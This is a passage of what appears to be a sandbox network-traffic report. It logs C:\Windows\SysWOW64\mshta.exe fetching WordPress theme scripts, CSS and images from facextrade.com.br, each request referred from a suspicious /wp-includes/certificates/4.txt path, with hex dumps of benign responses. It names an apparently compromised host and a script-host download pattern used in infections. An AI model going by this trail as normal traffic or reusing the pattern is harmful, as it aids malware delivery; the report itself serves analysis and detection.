the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAncest
Aug 16, 2022 11:06:11.439332008 CEST	3787	OUT	GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:11.658195019 CEST	3788	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:37 GMT Server: Apache ETag: "a53571-9ca-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437441 16636794 Age: 34 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75 6e Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFun
Aug 16, 2022 11:06:11.859174013 CEST	3848	OUT	GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:12.077940941 CEST	3849	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:38 GMT Server: Apache ETag: "a534b6-ada-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437442 16636796 Age: 34 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 63 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devic
Aug 16, 2022 11:06:12.147008896 CEST	3863	OUT	GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:12.362127066 CEST	3865	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:05:38 GMT Server: Apache ETag: "a534af-99ea-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 39402 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437443 16636800 Age: 33 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_next
Aug 16, 2022 11:06:13.795182943 CEST	3908	OUT	GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:14.014085054 CEST	3909	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:09 GMT Server: Apache ETag: "a530bd-55a-58592d41dde80" Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT Content-Length: 1370 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23437444 18314019 Age: 125 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49759	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:05:50.905865908 CEST	1225	OUT	GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:51.135535955 CEST	1279	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:02:45 GMT Server: Apache ETag: "a537ae-1a385-5cd2be5b92824" Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT Content-Length: 107397 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636813 19208023 Age: 186 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 